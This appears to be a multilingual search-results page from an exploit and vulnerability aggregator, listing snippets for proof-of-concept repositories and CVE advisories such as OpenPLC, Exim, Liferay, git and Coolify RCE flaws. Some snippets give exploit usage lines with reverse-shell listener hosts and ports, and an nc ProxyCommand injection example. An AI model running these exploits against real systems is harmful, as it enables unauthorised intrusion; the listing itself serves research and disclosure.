1134942 matches found
CVE-2023-27163
CVE-2023-27163 このコードは、教育目的およびホワイトハット目的のみを意図しています。 作者は、あなたがこれを利用して行う一切の行為について責任を負いません。 あなたの行動はあなた自身のものです。...
activemq-rce-cve-2023-46604
README CVE-2023-46604 の簡易解析 https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html...
CVE-2023-51385-
安全でない /.ssh/config を介した RCE %h や %p のようなトークンの使用は、SSH.ProxyCommand を使用したトンネルと接続プロキシで非常に人気があります。 脆弱な設定 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注: 最初の評価では、一重引用符の '%h を使えば回避できると思っていましたが、次のようなものでは依然として脆弱であるようです: ssh://echo helloworld cve.txtfoo.example.com/bar 出典:...
cve-2021-31630
cve-2021-31630 OpenPLC WebServer v3 - 认证后的 RCE 此 PoC 脚本基于 Fellipe Oliveira 提供的漏洞利用代码。 功能 : 直接将 C 代码上传到 /hardware，而非 st 文件上传 在上传反向 shell 之前恢复默认程序 改进的基于 C 的反向 shell，非阻塞 ，因此 Web 服务器不会挂起 ; 在后台生成 shell，即使 PLC 已停止也仍可运行，直到退出 清理 root@kitploit: $ python cve202131630.py -lh 10.10.16.68 -lp 4444...
CVE-2018-6789-Python3
CVE-2018-6789 Exim 4.90.1 RCE Vulnerability Exim 4.90.1 远程代码执行漏洞的复现，适用于Python3，从命令行传递参数 用法: python3 exim.py -t localhost -p 25 -lh 192.168.0.159 -lp 1337...
printnightmare-detection-lab
PrintNightmare脅威検出・インシデントレスポンスラボ CVE-2021-34527 📌 概要 このプロジェクトは、PrintNightmare CVE-2021-34527 を標的とした、エンドツーエンドのセキュリティ監視、検知エンジニアリング、およびインシデントレスポンスの実装を文書化しています。PrintNightmareは、Windowsプリントスプーラーサービス spoolsv.exe における重大な脆弱性であり、認証なしのリモートコード実行 RCE と、SYSTEM 権限へのローカル権限昇格 LPE を可能にします。...
cve-2019-11447
CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC Objetivo : 2.1.2 Este script de PoC está basado en una implementación simple del exploit original por BobbySox. El exploit original es un módulo MSF por Akuss. Este script necesita la dirección IP o dominio del objetivo junto con credenciales, y...
CVE-2020-7961-payloads
CVE-2020-7961-ペイロード Liferay Portal 7.2.1 CE GA2 より前のバージョンにおける信頼されないデータのデシリアライゼーションにより、リモート攻撃者が JSON Web サービス JSONWS を介して任意のコードを実行できる可能性があります。 Step 1 ペイロードを LifExp.java に記述します。 Step 2 javac でコンパイルします。 Step 3 ログサーバーを立てます 「Burp Collaborator Client」を使用するとよいかもしれません。 Step 4 poc.py を実行します。 ....お楽しみください ...
CVE-2017-14105
Aerohive HiveManager Classic 特権昇格の脆弱性 名前 Aerohive HiveManager Classic Privilege Escalation Vulnerability 影響を受けるシステム HiveManager Classic 8.0r1 8.1r1 深刻度 中 6.6/10 影響 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L/E:H/RC:C ベンダー http://www.aerohive.com/ アドバイザリ...
CVE-2017-1000117
git-client-rce このPoCは教育目的のみです!!! git-client-rce PoC（CVE-2017-1000117）のテスト用GITリポジトリ https://marc.info/?l=git&m=150238802328673&w=2 このCVEは、v2.14.1より前のすべてのgitクライアントに影響します。 PoCを確認するには、テストシステムで次を実行してください: $git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git...
CVE-2023-4169_CVE-2023-3306_CVE-2023-4415
Ruijie-RG-EW1200G CVE-2023-4169CVE-2023-3306CVE-2023-4415 1. RG-EW1200G バックエンドリモートコード実行脆弱性 CVE-2023-3306 2. CVE-2023-4169 認証なし任意パスワード変更 CVE-2023-4169 3. 锐捷RG-EW1200G ログインバイパス CVE-2023-4415 注意...
CVE-2026-84698 PX4 Autopilot sd_bench Heap Buffer Overflow via Block Size
PX4 Autopilot contains a heap buffer overflow vulnerability in the sdbench command that writes a four-byte block number into a user-supplied sized allocation. Attackers can invoke sdbench with a block size below four bytes to overflow the heap buffer and potentially execute code or crash the syst...
EUVD-2026-69789
PX4 Autopilot contains a heap buffer overflow vulnerability in the sdbench command that writes a four-byte block number into a user-supplied sized allocation. Attackers can invoke sdbench with a block size below four bytes to overflow the heap buffer and potentially execute code or crash the syst...
CVE-2026-84698 PX4 Autopilot sd_bench Heap Buffer Overflow via Block Size
PX4 Autopilot contains a heap buffer overflow vulnerability in the sdbench command that writes a four-byte block number into a user-supplied sized allocation. Attackers can invoke sdbench with a block size below four bytes to overflow the heap buffer and potentially execute code or crash the syst...
CVE-2026-84698
PX4 Autopilot is affected by a heap buffer overflow in the sd_bench command. The command writes a four-byte block number into a user-supplied sized allocation; invoking it with a block size below four bytes overflows the buffer, potentially allowing arbitrary code execution or a system crash . Th...
CVE-2026-84694
Coolify versions before 4.2.0 are affected by a remote code execution vulnerability caused by improper escaping of environment variable key names in Docker commands executed over SSH on managed servers. An authenticated attacker can inject shell metacharacters into environment variable keys, allo...
CVE-2026-84694 Coolify before 4.2.0 Remote Code Execution via Environment Variable Key
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers...
CVE-2026-84694 Coolify before 4.2.0 Remote Code Execution via Environment Variable Key
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers...
CVE-2026-84694 Coolify before 4.2.0 Remote Code Execution via Environment Variable Key
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers...